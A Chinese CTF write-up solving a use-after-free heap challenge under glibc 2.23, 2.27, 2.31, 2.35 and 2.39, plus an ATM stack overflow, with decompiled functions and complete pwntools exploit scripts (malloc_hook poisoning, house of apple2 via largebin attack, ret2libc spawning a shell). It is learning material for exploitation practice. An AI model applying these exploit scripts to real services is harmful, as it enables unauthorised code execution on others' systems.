非常好堆题,使我的patchelf旋转。

0x00 前言

虽然说是新生赛,但是五道堆题估计真新生都被吓傻了。实际上题目限制非常宽松,也正好可以拿来总结各个常见版本glibc的基本特点。因为题目除了2.39之外都一样所以就先分析题目,再来看不同版本下的做法。

0x01 题目分析

create函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 create()
{
__int64 result; // rax
int v1; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
unsigned int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
v2 = 0;
v3 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v2);
if ( v2 > 0xF || ptr[v2] )
{
puts("error !");
return 0LL;
}
else
{
printf("size? ");
__isoc99_scanf("%d", &v3);
v1 = v2;
ptr[v1] = malloc((int)v3);
if ( !ptr[v2] )
{
puts("malloc error!");
exit(1);
}
result = v3;
ptr_size[v2] = v3;
}
return result;
}

题目限制了最多只能申请16个chunk,但是对size没有限制。

delete函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void delete()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
v0 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0xF && ptr[v0] )
free((void *)ptr[v0]);
else
puts("no such chunk!");
}

妥妥的UAF。但是指针没被清空也意味着最多只能16个chunk了。

show函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && ptr[v1] )
return printf("content : %s\n", (const char *)ptr[v1]);
puts("no such chunk!");
return 0;
}

用printf来打印chunk内容,有一点需要注意就是\x00会被截断。

edit函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && ptr[v1] )
{
puts("content : ");
return read(0, (void *)ptr[v1], (unsigned int)ptr_size[v1]);
}
else
{
puts("no such chunk!");
return 0LL;
}
}

没有堆溢出,但是已经有UAF了所以无所谓。

Exit函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __noreturn Exit()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
if ( !ptr[i] )
{
free((void *)ptr[i]);
ptr[i] = 0LL;
ptr_size[i] = 0;
}
}
exit(0);
}

有exit(0),可以打exithook或者exit的got表。

总的来看最大且最危险的漏洞就是UAF,可以说有了这个洞这些题在堆风水的布局上可以为所欲为了。

0x02 2.23

版本特性

2.23版本没有tcachebin,fastbin中double free只需要在两次free当中free掉另一个chunk就好了。fastbin最大是0x80,要泄露libc只需要申请unsorted chunk即可。fastbin会在用户取出chunk的时候检查size字段是否合法。fastbin链表中的地址是chunk头地址,不是mem(用户内容)地址。

思路

泄露libc只要申请0x90的chunk释放掉再show就好了。

这个程序只开了partial relro,理论上可以打got表。这里我选择打malloc_hook。这题甚至不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook-0x23,再申请两次同样大小的chunk就能打到malloc_hook-0x23。之所以要-0x23是为了绕过size字段的检查,那个地方有个0x007f,所以我们在申请chunk的时候要申请总大小为0x70的chunk以满足检查条件。

申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = process('./heap')
e = ELF('./heap')
libc = ELF('./libc-2.23.so') # 打本地,用的是2.23_3

one = [0x4525a, 0xef9f4, 0xf0897]


def cmd(choice):
r.recvuntil(b'>>')
r.sendline(str(choice).encode())


def add(idx, size):
cmd(1)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'size? ')
r.sendline(str(size).encode())


def delete(idx):
cmd(2)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())


def show(idx):
cmd(3)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
cmd(4)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')
r.send(content)


def exit():
cmd(5)


add(0, 0x90)
add(1, 0x18)
delete(0)
show(0)
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x3c3b78
log.info('libc_base:'+hex(libc_base))


add(2, 0x90)
add(3, 0x60)
add(4, 0x60)
add(5, 0x20)

delete(3)
delete(4)
# edit(4, p64(libc_base+0x3c3b10-0x23))
edit(4, p64(libc_base+libc.symbols['__malloc_hook']-0x23)) # 似乎有时候会-11卡住不知道为啥

# gdb.attach(r)
add(6, 0x60)
add(7, 0x60)
edit(7, b'a'*0x13+p64(libc_base+one[1]))

add(8, 0x20)

r.interactive()

0x03 2.27

版本特性

2.27版本有tcachebin,但是在2.27的低子版本并没有对tcachebin中chunk double free检查的机制,但是高子版本打了补丁之后就有了。所以很难说远程2.27到底能不能随心所欲的double free,一般都没有。tcachebin不会检查size字段。tcache不会检查bin内可用的chunk数量。

思路

因为tcachebin覆盖大小到0x410的chunk,所以泄露libc要申请大于0x410的chunk释放掉再show。

这个程序全保护,这里我依然选择打malloc_hook。这题还是不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook,再申请两次同样大小的chunk就能打到malloc_hook。

申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = process('./heap')
e = ELF('./heap')
libc = ELF('./libc-2.27.so') # 打本地,用的是2.27_3_1

one = [0x4f2be, 0x4f2c5, 0x4f322, 0x10a38c]


def dbg():
gdb.attach(r)


def cmd(choice):
r.recvuntil(b'>>')
r.sendline(str(choice).encode())


def add(idx, size):
cmd(1)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'size? ')
r.sendline(str(size).encode())


def delete(idx):
cmd(2)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())


def show(idx):
cmd(3)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
cmd(4)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')
r.send(content)


def exit():
cmd(5)


add(0, 0x500)
add(1, 0x18)
delete(0)
show(0)
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x3ebca0
log.info('libc_base:'+hex(libc_base))
add(2, 0x500)

add(3, 0x70)
add(4, 0x70)
delete(3)
delete(4)
# dbg()
edit(4, p64(libc_base+libc.symbols['__malloc_hook']))
# dbg()

add(5, 0x70)
add(6, 0x70)
# dbg()
edit(6, p64(libc_base+one[3]))

add(7, 0x30)

r.interactive()

0x04 2.31

版本特性

2.31版本的tcachebin有一系列检查,tcache会检查bin内可用的chunk数量,会检查bin内double free。但是还不会加密fd,加密fd机制是从2.32版本开始的。tcachebin不会检查size字段。这时候tcachebin想要doublefree可以使用house of botcake或者利用fastbin来doublefree。

思路

因为tcachebin覆盖大小到0x410的chunk,所以泄露libc要申请大于0x410的chunk释放掉再show。

这个程序全保护,这里我依然选择打malloc_hook。这题还是不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook,再申请两次同样大小的chunk就能打到malloc_hook。

申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。

其实这题还可以选择劫持exit_hook,改lock指针。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = process('./heap')
e = ELF('./heap')
libc = ELF('./libc-2.31.so') # 打本地,用的是2.31_9

one = [0xe6aee, 0xe6af1, 0xe6af4]


def dbg():
gdb.attach(r)


def cmd(choice):
r.recvuntil(b'>>')
r.sendline(str(choice).encode())


def add(idx, size):
cmd(1)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'size? ')
r.sendline(str(size).encode())


def delete(idx):
cmd(2)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())


def show(idx):
cmd(3)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
cmd(4)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')
r.send(content)


def exit():
cmd(5)


add(0, 0x500)
add(1, 0x18)
delete(0)
show(0)
dbg()
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x1ebbe0
log.info('libc_base:'+hex(libc_base))
add(2, 0x500)

add(3, 0x70)
add(4, 0x70)
delete(3)
delete(4)
edit(4, p64(libc_base+libc.symbols['__malloc_hook']))
# dbg()

add(5, 0x70)
add(6, 0x70)
# dbg()
edit(6, p64(libc_base+one[1]))

add(7, 0x30)

r.interactive()

0x05 2.35

版本特性

2.35版本的tcachebin有一系列检查,tcache会检查bin内可用的chunk数量,会检查bin内double free,对chunk地址有对齐检查,fd会被加密,并且利加密的key存在tls结构体里。2.34版本及之前key是指向TcacheBin的指针。tcachebin不会检查size字段。

从2.34开始glibc取消掉了hook机制,所以没法打malloc和free hook了,但是exit hook中还有一条路可以走,也就是house of banana,或者劫持__call_tls_dtors函数。

思路

这个程序全保护,因为fd被加密了,虽然这题UAF可以打到tls泄露key来劫持fd,但是比较麻烦,所以我选择house of apple2。这几乎是全版本通解,只要能largebin attack,能触发IO。因为是第一次使用house of apple2来打堆题,所以完整的做题步骤及调试过程另起文章记录。这题直接板子做题法。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = process('./heap')
e = ELF('./heap')
libc = ELF('./libc-2.35.so') # ubuntu22打本地

one = [0xe6aee, 0xe6af1, 0xe6af4]


def dbg():
gdb.attach(r)


def cmd(choice):
r.recvuntil(b'>>')
r.sendline(str(choice).encode())


def add(idx, size):
cmd(1)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'size? ')
r.sendline(str(size).encode())


def delete(idx):
cmd(2)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())


def show(idx):
cmd(3)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
cmd(4)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')
r.send(content)


def exit():
cmd(5)


add(8, 0x18)
add(0, 0x510)
add(1, 0x30) # 0x20的话chunk2的地址是00结尾,printf没法泄露,所以要0x30
add(2, 0x520)
add(3, 0x30)
delete(2)
# dbg()
add(4, 0x530)
show(2)
large = u64(r.recv(6).ljust(8, b'\0')) # 其实是main_arena+0x490
libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_']
_IO_list_all = libcbase + libc.sym['_IO_list_all']
io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
system = libcbase + libc.sym['system']

success('libcbase: ' + hex(libcbase))

edit(2, b'A' * 0x10)
# pause()
show(2)
r.recv(0x10)
heap = u64(r.recv(6).ljust(8, b'\0'))
success('heap: ' + hex(heap))

delete(0)

edit(2, p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20))

add(5, 0x550)
chunk_addr = heap - 0x560 # chunk0的chunk地址
edit(8, b'A' * 0x10 + p32(0xfffff7f5) + b';sh\x00')

fake_io_file = p64(0)*2 + p64(1) + p64(2)
fake_io_file = fake_io_file.ljust(
0xa0 - 0x10, b'\0') + p64(chunk_addr + 0x100) # _wide_data
fake_io_file = fake_io_file.ljust(
0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode
fake_io_file = fake_io_file.ljust(
0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable
fake_io_file = fake_io_file.ljust(
0x100 - 0x10 + 0xe0, b'\0') + p64(chunk_addr + 0x200)
fake_io_file = fake_io_file.ljust(
0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)

edit(0, fake_io_file)
# dbg()
exit()# 触发abort()

r.interactive()

0x06 2.39

题目区别

2.39的题目唯一的区别就是申请chunk的时候只能申请largechunk,题目描述说使用全新的IO打法,不出意外就是apple系列了。

思路

思路与上一题相同,使用house of apple2。区别就是保护chunk最小只能申请0x500,其他依然板子做题。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = process('./heap')
e = ELF('./heap')
libc = ELF('./libc.so.6')



def dbg():
gdb.attach(r)


def cmd(choice):
r.recvuntil(b'>>')
r.sendline(str(choice).encode())


def add(idx, size):
cmd(1)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'size? ')
r.sendline(str(size).encode())


def delete(idx):
cmd(2)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())


def show(idx):
cmd(3)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
cmd(4)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')
r.send(content)


def exit():
cmd(5)


add(8, 0x508)
add(0, 0x510) # 小的chunk
add(1, 0x500) # 防止合并
add(2, 0x520) # 大的chunk
add(3, 0x500) # 防止合并
delete(2)
add(4, 0x530) # 将chunk2放进largebin中
show(2)
large = u64(r.recv(6).ljust(8, b'\0')) # 其实是main_arena+0x490
libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_']
_IO_list_all = libcbase + libc.sym['_IO_list_all']
io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
system = libcbase + libc.sym['system']

success('libcbase: ' + hex(libcbase))

edit(2, b'A' * 0x10)
show(2)
r.recv(0x10)
heap = u64(r.recv(6).ljust(8, b'\0'))
success('heap: ' + hex(heap))

delete(0)

edit(2, p64(large) + p64(large) + p64(heap) +
p64(_IO_list_all - 0x20)) # 改chunk2的bk_nextsize

add(5, 0x550) # 将chunk0放进largebin中
chunk_addr = heap - 0xa30 # chunk0
edit(8, b'A' * 0x500 + p32(0xfffff7f5) + b';sh\x00')

fake_io_file = p64(0)*2 + p64(1) + p64(2)
fake_io_file = fake_io_file.ljust(
0xa0 - 0x10, b'\0') + p64(chunk_addr + 0x100) # _wide_data
fake_io_file = fake_io_file.ljust(
0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode
fake_io_file = fake_io_file.ljust(
0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable
fake_io_file = fake_io_file.ljust(
0x100 - 0x10 + 0xe0, b'\0') + p64(chunk_addr + 0x200)
fake_io_file = fake_io_file.ljust(
0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)

edit(0, fake_io_file)
# dbg()
exit() # 触发IO_cleanup

r.interactive()

0x07 ATM

题目

这是一道栈题,简单的栈溢出。选项3可以直接加钱,选项5会给你一个printf的真实地址,并根据你现在的钱数作为读取字节数。需要注意的是这里存在一个数据类型转换的问题,nbytes原本是size_t类型的,但是read的时候是unsigned int,所以加钱的时候不一定是越大越好,可能直接给你回绕了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
__int64 app_fun()
{
__int64 result; // rax
char v1[312]; // [rsp+0h] [rbp-160h] BYREF
char nptr[8]; // [rsp+138h] [rbp-28h] BYREF
char buf[16]; // [rsp+140h] [rbp-20h] BYREF
int v4; // [rsp+150h] [rbp-10h]
unsigned int v5; // [rsp+154h] [rbp-Ch]
unsigned int v6; // [rsp+158h] [rbp-8h]
size_t nbytes; // [rsp+15Ch] [rbp-4h]

puts("password:");
read(0, buf, 0x10uLL);
LODWORD(nbytes) = 200;
while ( 1 )
{
block();
read(0, nptr, 8uLL);
v6 = atoi(nptr);
result = v6;
switch ( v6 )
{
case 1u:
printf("Your balance is:%d$\n", (unsigned int)nbytes);
continue;
case 2u:
printf("Please enter the money you withdraw:");
memset(nptr, 0, sizeof(nptr));
read(0, nptr, 7uLL);
v4 = atoi(nptr);
if ( v4 <= 0 || v4 > (int)nbytes )
goto LABEL_10;
LODWORD(nbytes) = nbytes - v4;
break;
case 3u:
printf("Please enter your deposit:");
memset(nptr, 0, sizeof(nptr));
read(0, nptr, 7uLL);
v5 = (unsigned int)nptr;
if ( (unsigned int)nptr )
LODWORD(nbytes) = nbytes + v5;
else
LABEL_10:
puts("Invalid amount.");
break;
case 4u:
return result;
case 5u:
printf("gift:%p\n", &printf);
read(0, v1, (unsigned int)nbytes);
break;
default:
continue;
}
}
}

block函数是menu

加钱1000之后直接ret2libc即可,程序给了libc地址,甚至免去了泄露libc的步骤。附件没给libc,可以用LibcSearcher,但是我直接打本地所以用了本机2.35的libc。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.log_level = 'debug'
r = process('./app')
e = ELF('./app')
libc = ELF('./libc.so.6')

r.sendline(b'a')

r.recvuntil(b'Exit')
r.sendline(b'3')
r.recvuntil(b'deposit:')
r.sendline(b'1000')

r.recvuntil(b'Exit')
r.sendline(b'5')
r.recvuntil(b'gift:')
printf_addr = int(r.recv(14), 16)
success(hex(printf_addr))

libc_base = printf_addr - libc.symbols['printf']
success(hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
rdi = 0x401233
ret = 0x401234
payload = b'a'*0x168+p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)
r.sendline(payload)

r.recvuntil(b'Exit')
r.sendline(b'4')
r.interactive()
⬆︎TOP